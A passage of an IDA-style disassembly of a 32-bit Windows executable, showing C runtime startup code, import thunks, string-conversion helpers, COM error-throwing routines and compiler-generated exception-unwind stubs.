		lea	eax, [ebp-70h]
		push	eax
		lea	eax, [ebp-60h]
		push	eax
		call	dword_433230	; __getmainargs
		push	offset dword_43700C
		push	offset dword_437000
		call	sub_431A8A	; _initterm
		add	esp, 24h
		mov	eax, dword_433234
		mov	esi, [eax]
		mov	[ebp-74h], esi
		cmp	byte ptr [esi],	22h
		jnz	short loc_431A30


loc_4319F6:				; CODE XREF: TEUm:00431A02j
		inc	esi
		mov	[ebp-74h], esi
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_431A04
		cmp	al, 22h
		jnz	short loc_4319F6


loc_431A04:				; CODE XREF: TEUm:004319FEj
		cmp	byte ptr [esi],	22h
		jnz	short loc_431A0D


loc_431A09:				; CODE XREF: TEUm:00431A15j
		inc	esi
		mov	[ebp-74h], esi


loc_431A0D:				; CODE XREF: TEUm:00431A07j
					; TEUm:00431A33j
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_431A17
		cmp	al, 20h
		jbe	short loc_431A09


loc_431A17:				; CODE XREF: TEUm:00431A11j
		mov	[ebp-30h], ebx
		lea	eax, [ebp-5Ch]
		push	eax
		call	dword_433084	; GetStartupInfoA
		test	byte ptr [ebp-30h], 1
		jz	short loc_431A3B
		movzx	eax, word ptr [ebp-2Ch]
		jmp	short loc_431A3E
; ---------------------------------------------------------------------------


loc_431A30:				; CODE XREF: TEUm:004319F4j
					; TEUm:00431A39j
		cmp	byte ptr [esi],	20h
		jbe	short loc_431A0D
		inc	esi
		mov	[ebp-74h], esi
		jmp	short loc_431A30
; ---------------------------------------------------------------------------


loc_431A3B:				; CODE XREF: TEUm:00431A28j
		push	0Ah
		pop	eax


loc_431A3E:				; CODE XREF: TEUm:00431A2Ej
		push	eax
		push	esi
		push	ebx
		push	ebx
		call	dword_433088	; GetModuleHandleA
		push	eax
		call	sub_429672
		mov	[ebp-68h], eax
		push	eax
		call	dword_43322C	; exit
		mov	eax, [ebp-14h]
		mov	ecx, [eax]
		mov	ecx, [ecx]
		mov	[ebp-78h], ecx
		push	eax
		push	ecx
		call	sub_431A84	; _XcptFilter
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		push	dword ptr [ebp-78h]
		call	dword_433224	; _exit

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_431A78	proc near		; CODE XREF: sub_43182F+3p
		jmp	dword_433218
sub_431A78	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_431A7E	proc near		; CODE XREF: sub_4318D6+23p
		jmp	dword_43321C
sub_431A7E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_431A84	proc near		; CODE XREF: TEUm:00431A64p
		jmp	dword_433228
sub_431A84	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_431A8A	proc near		; CODE XREF: TEUm:004319ACp
					; TEUm:004319DFp
		jmp	dword_433238
sub_431A8A	endp


; =============== S U B	R O U T	I N E =======================================



sub_431A90	proc near		; CODE XREF: TEUm:loc_43199Dp
		push	30000h
		push	10000h
		call	sub_431AAC	; _controlfp
		pop	ecx
		pop	ecx
		retn
sub_431A90	endp


; =============== S U B	R O U T	I N E =======================================



sub_431AA2	proc near		; DATA XREF: TEUm:00431991o
		xor	eax, eax
		retn
sub_431AA2	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_431AA6	proc near		; DATA XREF: TEUm:00431924o
		jmp	dword_433250
sub_431AA6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_431AAC	proc near		; CODE XREF: sub_431A90+Ap
		jmp	dword_433258
sub_431AAC	endp


; =============== S U B	R O U T	I N E =======================================



sub_431AB2	proc near		; CODE XREF: sub_423489+4Bp
					; sub_423489+A4p ...

arg_0		= dword	ptr  4

		push	0
		push	[esp+4+arg_0]
		call	sub_431CA4
		retn	4
sub_431AB2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431AC0	proc near		; CODE XREF: sub_42430E+20p
					; sub_4243E7+20p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		and	[ebp+var_4], 0
		test	eax, eax
		jz	short loc_431B12
		mov	ecx, [eax]
		lea	edx, [ebp+arg_4]
		push	edx
		push	offset dword_437C48
		push	eax
		call	dword ptr [ecx]
		test	eax, eax
		jl	short loc_431B12
		mov	eax, [ebp+arg_4]
		push	esi
		push	[ebp+arg_8]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+0Ch]
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [eax]
		call	dword ptr [ecx+8]
		test	esi, esi
		pop	esi
		jnz	short loc_431B12
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		call	dword_43327C
		test	eax, eax
		jz	short loc_431B12
		and	[ebp+var_4], 0


loc_431B12:				; CODE XREF: sub_431AC0+Dj
					; sub_431AC0+1Fj ...
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_431CA4
		leave
		retn	0Ch
sub_431AC0	endp


; =============== S U B	R O U T	I N E =======================================



sub_431B21	proc near		; DATA XREF: TEUm:00437008o

; FUNCTION CHUNK AT 00431B3D SIZE 0000000C BYTES

		call	sub_431B2B
		jmp	loc_431B3D
sub_431B21	endp


; =============== S U B	R O U T	I N E =======================================



sub_431B2B	proc near		; CODE XREF: sub_431B21p
		push	0Ah
		push	80020004h
		mov	ecx, offset dword_43BD68
		call	sub_431C48
		retn
sub_431B2B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_431B21


loc_431B3D:				; CODE XREF: sub_431B21+5j
		push	offset sub_431B49
		call	sub_431902
		pop	ecx
		retn
; END OF FUNCTION CHUNK	FOR sub_431B21

; =============== S U B	R O U T	I N E =======================================



sub_431B49	proc near		; DATA XREF: sub_431B21:loc_431B3Do
		push	offset dword_43BD68
		call	dword_433264
		test	eax, eax
		jge	short locret_431B5E
		push	eax
		call	sub_431AB2

locret_431B5E:				; CODE XREF: sub_431B49+Dj
		retn
sub_431B49	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431B5F	proc near		; CODE XREF: sub_4241E4+12p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_0], 0
		push	esi
		push	edi
		jnz	short loc_431B6E
		xor	eax, eax
		jmp	short loc_431BCB
; ---------------------------------------------------------------------------


loc_431B6E:				; CODE XREF: sub_431B5F+9j
		push	[ebp+arg_0]
		call	dword_4330B4	; lstrlenA
		mov	esi, eax
		inc	esi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_431860
		mov	edi, esp
		push	esi
		push	edi
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		and	word ptr [edi],	0
		push	0
		push	0
		call	dword_433068	; MultiByteToWideChar
		test	eax, eax
		jnz	short loc_431BC4
		mov	esi, dword_433028
		call	esi	; RtlGetLastWin32Error
		test	eax, eax
		jz	short loc_431BBC
		call	esi	; RtlGetLastWin32Error
		and	eax, 0FFFFh
		or	eax, 80070000h
		jmp	short loc_431BBE
; ---------------------------------------------------------------------------


loc_431BBC:				; CODE XREF: sub_431B5F+4Dj
		xor	eax, eax


loc_431BBE:				; CODE XREF: sub_431B5F+5Bj
		push	eax
		call	sub_431AB2


loc_431BC4:				; CODE XREF: sub_431B5F+41j
		push	edi
		call	dword_433280


loc_431BCB:				; CODE XREF: sub_431B5F+Dj
		lea	esp, [ebp-8]
		pop	edi
		pop	esi
		pop	ebp
		retn	4
sub_431B5F	endp


; =============== S U B	R O U T	I N E =======================================



sub_431BD4	proc near		; CODE XREF: sub_424244+Bp

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_0]
		xor	ebx, ebx
		cmp	ebp, ebx
		jnz	short loc_431BE4
		xor	eax, eax
		jmp	short loc_431C43
; ---------------------------------------------------------------------------


loc_431BE4:				; CODE XREF: sub_431BD4+Aj
		push	esi
		push	edi
		push	ebp
		call	sub_431CF6	; wcslen
		lea	edi, [eax+eax+2]
		push	edi
		call	sub_431784
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jnz	short loc_431C08
		push	8007000Eh
		call	sub_431AB2


loc_431C08:				; CODE XREF: sub_431BD4+28j
		push	ebx
		push	ebx
		push	edi
		push	esi
		push	0FFFFFFFFh
		push	ebp
		push	ebx
		push	ebx
		mov	[esi], bl
		call	dword_433064	; WideCharToMultiByte
		test	eax, eax
		jnz	short loc_431C3F
		mov	edi, dword_433028
		call	edi	; RtlGetLastWin32Error
		test	eax, eax
		jz	short loc_431C37
		call	edi	; RtlGetLastWin32Error
		and	eax, 0FFFFh
		or	eax, 80070000h
		jmp	short loc_431C39
; ---------------------------------------------------------------------------


loc_431C37:				; CODE XREF: sub_431BD4+53j
		xor	eax, eax


loc_431C39:				; CODE XREF: sub_431BD4+61j
		push	eax
		call	sub_431AB2


loc_431C3F:				; CODE XREF: sub_431BD4+47j
		mov	eax, esi
		pop	edi
		pop	esi


loc_431C43:				; CODE XREF: sub_431BD4+Ej
		pop	ebp
		pop	ebx
		retn	4
sub_431BD4	endp


; =============== S U B	R O U T	I N E =======================================



sub_431C48	proc near		; CODE XREF: sub_431B2B+Cp

arg_0		= dword	ptr  4
arg_4		= word ptr  8

		push	esi
		push	edi
		mov	di, [esp+8+arg_4]
		mov	esi, ecx
		cmp	di, 3
		jz	short loc_431C6D
		cmp	di, 0Ah
		jz	short loc_431C73
		cmp	di, 0Bh
		jz	short loc_431C6D
		push	80070057h
		call	sub_431AB2


loc_431C6D:				; CODE XREF: sub_431C48+Dj
					; sub_431C48+19j
		cmp	di, 0Ah
		jnz	short loc_431C7A


loc_431C73:				; CODE XREF: sub_431C48+13j
		mov	word ptr [esi],	0Ah
		jmp	short loc_431C96
; ---------------------------------------------------------------------------


loc_431C7A:				; CODE XREF: sub_431C48+29j
		cmp	di, 0Bh
		jnz	short loc_431C91
		mov	eax, [esp+8+arg_0]
		mov	[esi], di
		neg	eax
		sbb	eax, eax
		mov	[esi+8], ax
		jmp	short loc_431C9D
; ---------------------------------------------------------------------------


loc_431C91:				; CODE XREF: sub_431C48+36j
		mov	word ptr [esi],	3


loc_431C96:				; CODE XREF: sub_431C48+30j
		mov	eax, [esp+8+arg_0]
		mov	[esi+8], eax


loc_431C9D:				; CODE XREF: sub_431C48+47j
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_431C48	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431CA4	proc near		; CODE XREF: sub_431AB2+6p
					; sub_431AC0+58p

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	0
		lea	ecx, [ebp+var_10]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_429C60
		lea	eax, [ebp+var_10]
		push	offset dword_435E20
		push	eax
		call	sub_43184C	; _CxxThrowException
		mov	eax, [esp+18h+var_14]
		push	esi
		mov	esi, ecx
		mov	ecx, [eax+4]
		mov	[esi+4], ecx
		mov	eax, [eax+8]
		and	dword ptr [esi+0Ch], 0
		mov	[esi+8], eax
		test	eax, eax
		mov	dword ptr [esi], offset	off_434AE8
		jz	short loc_431CEF
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]


loc_431CEF:				; CODE XREF: sub_431CA4+43j
		mov	eax, esi
		pop	esi
		retn	4
sub_431CA4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 2

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_431CF6	proc near		; CODE XREF: sub_431BD4+13p
		jmp	dword_4331E8
sub_431CF6	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



SEH_421109	proc near		; DATA XREF: sub_421109+5o
		mov	eax, offset dword_434B80
		jmp	sub_4317FC
SEH_421109	endp


; =============== S U B	R O U T	I N E =======================================



sub_431D0A	proc near		; DATA XREF: TEUm:004211C7o
		mov	eax, offset dword_434BD8
		jmp	sub_4317FC
sub_431D0A	endp

; ---------------------------------------------------------------------------
		lea	ecx, [ebp-70h]
		call	dword_433150
		retn
; ---------------------------------------------------------------------------


loc_431D1E:				; DATA XREF: TEUm:00421280o
		mov	eax, offset dword_434C30
		jmp	sub_4317FC

; =============== S U B	R O U T	I N E =======================================



SEH_42146A	proc near		; DATA XREF: sub_42146A+5o
		mov	eax, offset dword_434C90
		jmp	sub_4317FC
SEH_42146A	endp


; =============== S U B	R O U T	I N E =======================================



sub_431D32	proc near		; DATA XREF: TEUm:004215ECo
		mov	eax, offset dword_434CE8
		jmp	sub_4317FC
sub_431D32	endp


; =============== S U B	R O U T	I N E =======================================



sub_431D3C	proc near		; DATA XREF: TEUm:00421832o
		mov	eax, offset dword_434D40
		jmp	sub_4317FC
sub_431D3C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



SEH_421C92	proc near		; DATA XREF: sub_421C92+5o
		mov	eax, offset dword_434DD0
		jmp	sub_4317FC
SEH_421C92	endp


; =============== S U B	R O U T	I N E =======================================



sub_431D5A	proc near		; DATA XREF: TEUm:00434E54o
		lea	ecx, [ebp+0Ch]
		call	sub_4317A2
		retn
sub_431D5A	endp

; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1Ch]
		call	sub_4317A2
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2Ch]
		call	sub_4317A2
		retn
; ---------------------------------------------------------------------------
		mov	eax, [ebp-30h]
		and	eax, 1
		test	eax, eax
		jz	locret_431D8B
		mov	ecx, [ebp+8]
		call	sub_4317A2

locret_431D8B:				; CODE XREF: TEUm:00431D7Dj
		retn
; ---------------------------------------------------------------------------


loc_431D8C:				; DATA XREF: TEUm:00422510o
		mov	eax, offset dword_434E28
		jmp	sub_4317FC
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-1Ch]
		jmp	sub_4317A2
; ---------------------------------------------------------------------------


loc_431DA0:				; DATA XREF: TEUm:00434E94o
		mov	ecx, [ebp-1Ch]
		add	ecx, 4
		jmp	sub_4317A2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-1Ch]
		add	ecx, 8
		jmp	sub_4317A2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-1Ch]
		add	ecx, 10h
		jmp	sub_4317A2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-1Ch]
		add	ecx, 14h
		jmp	sub_4317A2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-1Ch]
		add	ecx, 1Ch
		jmp	sub_4317A2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-1Ch]
		add	ecx, 20h
		jmp	sub_4317A2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-1Ch]
		add	ecx, 24h
		jmp	sub_4317A2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-1Ch]
		add	ecx, 202Ch
		jmp	sub_4226C7
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14h]
		jmp	sub_4317A2
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-10h]
		jmp	sub_4317A2
; ---------------------------------------------------------------------------


loc_431E0B:				; DATA XREF: sub_422A1Eo
		mov	eax, offset dword_434E68
		jmp	sub_4317FC
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-10h]
		jmp	sub_4317A2
; ---------------------------------------------------------------------------


loc_431E20:				; DATA XREF: TEUm:00434F0Co
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_4317A2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8
		jmp	sub_4317A2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 10h
		jmp	sub_4317A2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 14h
		jmp	sub_4317A2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1Ch
		jmp	sub_4317A2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 20h
		jmp	sub_4317A2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 24h
		jmp	sub_4317A2
; ---------------------------------------------------------------------------


loc_431E6D:				; DATA XREF: sub_422BB1o
		mov	eax, offset dword_434EE0
		jmp	sub_4317FC
; ---------------------------------------------------------------------------
		align 4


loc_431E78:				; DATA XREF: sub_422ECAo
		mov	eax, offset dword_434F40
		jmp	sub_4317FC
; ---------------------------------------------------------------------------
		align 4


loc_431E84:				; DATA XREF: TEUm:00434FC4o
		lea	ecx, [ebp+0Ch]
		jmp	sub_4317A2
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-10h]
		jmp	sub_4317A2
; ---------------------------------------------------------------------------
		mov	eax, [ebp-1Ch]
		and	eax, 1
		test	eax, eax
		jz	locret_431EAA
		mov	ecx, [ebp+8]
		jmp	sub_4317A2
; ---------------------------------------------------------------------------

locret_431EAA:				; CODE XREF: TEUm:00431E9Cj
		retn
; ---------------------------------------------------------------------------


loc_431EAB:				; DATA XREF: sub_422FB0o
		mov	eax, offset dword_434F98
		jmp	sub_4317FC
; ---------------------------------------------------------------------------
		align 4


loc_431EB8:				; DATA XREF: TEUm:00434FFCo
		lea	ecx, [ebp-10h]
		jmp	sub_4317A2
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-18h]
		jmp	sub_4317A2
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+0Ch]
		jmp	sub_4317A2
; ---------------------------------------------------------------------------
		mov	eax, [ebp-1Ch]
		and	eax, 1
		test	eax, eax
		jz	locret_431EE6
		mov	ecx, [ebp+8]
		jmp	sub_4317A2
; ---------------------------------------------------------------------------

locret_431EE6:				; CODE XREF: TEUm:00431ED8j
		retn
; ---------------------------------------------------------------------------


loc_431EE7:				; DATA XREF: sub_4230F8o
		mov	eax, offset dword_434FD0
		jmp	sub_4317FC
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp+8]
		jmp	sub_4264D2
; ---------------------------------------------------------------------------


loc_431EFC:				; DATA XREF: TEUm:0043503Co
		lea	ecx, [ebp-14h]
		jmp	sub_4264D2
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0C0h]
		jmp	sub_4241A6
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0D0h]
		jmp	sub_4241A6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-0C8h]
		jmp	sub_4317A2
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-100h]
		jmp	sub_426ABF
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_4241A6
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0C4h]
		jmp	sub_4241A6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-20h]
		jmp	sub_4317A2
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-140h]
		jmp	sub_426ABF
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-9Ch]
		jmp	sub_4241A6
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-4Ch]
		jmp	sub_4241A6
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-120h]
		jmp	sub_4266D6
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_4241A6
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-18h]
		jmp	sub_4264D2
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-10h]
		jmp	sub_4264D2
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0A4h]
		jmp	sub_4241A6
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0CCh]
		jmp	sub_4241A6
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0ACh]
		jmp	sub_4241A6
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0D8h]
		jmp	sub_4241A6
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0B4h]
		jmp	sub_4241A6
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0D4h]
		jmp	sub_4241A6
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0BCh]
		jmp	sub_4241A6
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0E0h]
		jmp	sub_4241A6
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-38h]
		jmp	sub_4241A6
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-48h]
		jmp	sub_4241A6
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-58h]
		jmp	sub_4241A6
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-68h]
		jmp	sub_4241A6
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-78h]
		jmp	sub_4241A6
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-88h]
		jmp	sub_4241A6
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-98h]
		jmp	sub_4241A6
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0A8h]
		jmp	sub_4241A6
; ---------------------------------------------------------------------------


loc_43202D:				; DATA XREF: sub_423489o
		mov	eax, offset dword_435010
		jmp	sub_4317FC
; ---------------------------------------------------------------------------
		align 4
		push	dword ptr [ebp-10h]
		call	sub_43177E
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_432042:				; DATA XREF: sub_424152o
		mov	eax, offset dword_435130
		jmp	sub_4317FC
; ---------------------------------------------------------------------------
		push	dword ptr [ebp-10h]
		call	sub_43177E
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_432056:				; DATA XREF: sub_424348o
		mov	eax, offset dword_435158
		jmp	sub_4317FC
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+8]
		jmp	sub_4264D2
; ---------------------------------------------------------------------------


loc_432068:				; DATA XREF: TEUm:004351ACo
		lea	ecx, [ebp-10h]
		jmp	sub_4264D2
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	sub_4241A6
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14h]
		jmp	sub_4264D2
; ---------------------------------------------------------------------------


loc_432080:				; DATA XREF: sub_424485o
		mov	eax, offset dword_435180
		jmp	sub_4317FC
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp-14h]
		jmp	sub_4317A2
; ---------------------------------------------------------------------------


loc_432094:				; DATA XREF: TEUm:004351ECo
		lea	ecx, [ebp-38h]
		jmp	sub_4317A2
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-10h]
		jmp	sub_4317A2
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_4317A2
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2Ch]
		jmp	sub_4317A2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp+0Ch]
		jmp	sub_4317A2
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-58h]
		jmp	sub_426ABF
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-18h]
		jmp	sub_4317A2
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-30h]
		jmp	sub_4317A2
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-34h]
		jmp	sub_4317A2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp+0Ch]
		jmp	sub_4317A2
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-98h]
		jmp	sub_426ABF
; ---------------------------------------------------------------------------
		mov	ecx, [ebp+0Ch]
		jmp	sub_4317A2
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-78h]
		jmp	sub_426ABF
; ---------------------------------------------------------------------------


loc_4320FF:				; DATA XREF: sub_424606o
		mov	eax, offset dword_4351C0
		jmp	sub_4317FC
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp+8]
		jmp	sub_4317A2
; ---------------------------------------------------------------------------


loc_432114:				; DATA XREF: TEUm:0043527Co
		push	dword ptr [ebp-14h]
		call	sub_43177E
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_43211E:				; DATA XREF: sub_424AAFo
		mov	eax, offset dword_435250
		jmp	sub_4317FC
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-34h]
		jmp	sub_4317A2
; ---------------------------------------------------------------------------


loc_432130:				; DATA XREF: TEUm:004352ACo
		lea	ecx, [ebp-30h]
		jmp	sub_4317A2
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-44h]
		jmp	sub_4317A2
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0C8h]
		jmp	sub_4266D6
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-28h]
		jmp	sub_4317A2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		jmp	sub_4317A2
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0A8h]
		jmp	sub_426ABF
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-10h]
		jmp	sub_4317A2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		jmp	sub_4317A2
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-88h]
		jmp	sub_426ABF
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-10h]
		jmp	sub_4317A2
; ---------------------------------------------------------------------------


loc_432189:				; DATA XREF: sub_424B41o
		mov	eax, offset dword_435280
		jmp	sub_4317FC
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp+0Ch]
		jmp	sub_4317A2
; ---------------------------------------------------------------------------


loc_43219C:				; DATA XREF: TEUm:00435324o
		lea	ecx, [ebp+8]
		jmp	sub_4317A2
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-10h]
		jmp	sub_4317A2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-20h]
		jmp	sub_4317A2
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-44h]
		jmp	sub_426ABF
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-18h]
		jmp	sub_4317A2
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14h]
		jmp	sub_4317A2
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1Ch]
		jmp	sub_4317A2
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	sub_4317A2
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1Ch]
		jmp	sub_4317A2
; ---------------------------------------------------------------------------


loc_4321E4:				; DATA XREF: sub_425353o
		mov	eax, offset dword_4352F8
		jmp	sub_4317FC
; ---------------------------------------------------------------------------
		align 10h


loc_4321F0:				; DATA XREF: TEUm:00435394o
		lea	ecx, [ebp-10h]
		jmp	sub_4317A2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-18h]
		jmp	sub_4317A2
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-40h]
		jmp	sub_426ABF
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14h]
		jmp	sub_4317A2
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-18h]
		jmp	sub_4317A2
; ---------------------------------------------------------------------------
		mov	eax, [ebp-1Ch]
		and	eax, 1
		test	eax, eax
		jz	locret_43222E
		mov	ecx, [ebp+8]
		jmp	sub_4317A2
; ---------------------------------------------------------------------------

locret_43222E:				; CODE XREF: TEUm:00432220j
		retn
; ---------------------------------------------------------------------------


loc_43222F:				; DATA XREF: sub_42552Ao
		mov	eax, offset dword_435368
		jmp	sub_4317FC
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp-10h]
		jmp	sub_4317A2
; ---------------------------------------------------------------------------


loc_432244:				; DATA XREF: TEUm:004353E4o
		lea	ecx, [ebp-34h]
		jmp	sub_4266D6
; ---------------------------------------------------------------------------


loc_43224C:				; DATA XREF: sub_425642o
		mov	eax, offset dword_4353B8
		jmp	sub_4317FC
; ---------------------------------------------------------------------------
		align 4


loc_432258:				; DATA XREF: TEUm:00435414o
		lea	ecx, [ebp-10h]
		jmp	sub_4317A2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-18h]
		jmp	sub_4317A2
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-40h]
		jmp	sub_426ABF
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14h]
		jmp	sub_4317A2
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-18h]
		jmp	sub_4317A2
; ---------------------------------------------------------------------------
		mov	eax, [ebp-1Ch]
		and	eax, 1
		test	eax, eax
		jz	locret_432296
		mov	ecx, [ebp+8]
		jmp	sub_4317A2
; ---------------------------------------------------------------------------

locret_432296:				; CODE XREF: TEUm:00432288j
		retn
; ---------------------------------------------------------------------------


loc_432297:				; DATA XREF: sub_42578Fo
		mov	eax, offset dword_4353E8
		jmp	sub_4317FC
; ---------------------------------------------------------------------------
		align 4


loc_4322A4:				; DATA XREF: TEUm:00435464o
		lea	ecx, [ebp-10h]
		jmp	sub_4317A2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-18h]
		jmp	sub_4317A2
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-40h]
		jmp	sub_426ABF
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14h]
		jmp	sub_4317A2
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-18h]
		jmp	sub_4317A2
; ---------------------------------------------------------------------------
		mov	eax, [ebp-1Ch]
		and	eax, 1
		test	eax, eax
		jz	locret_4322E2
		mov	ecx, [ebp+8]
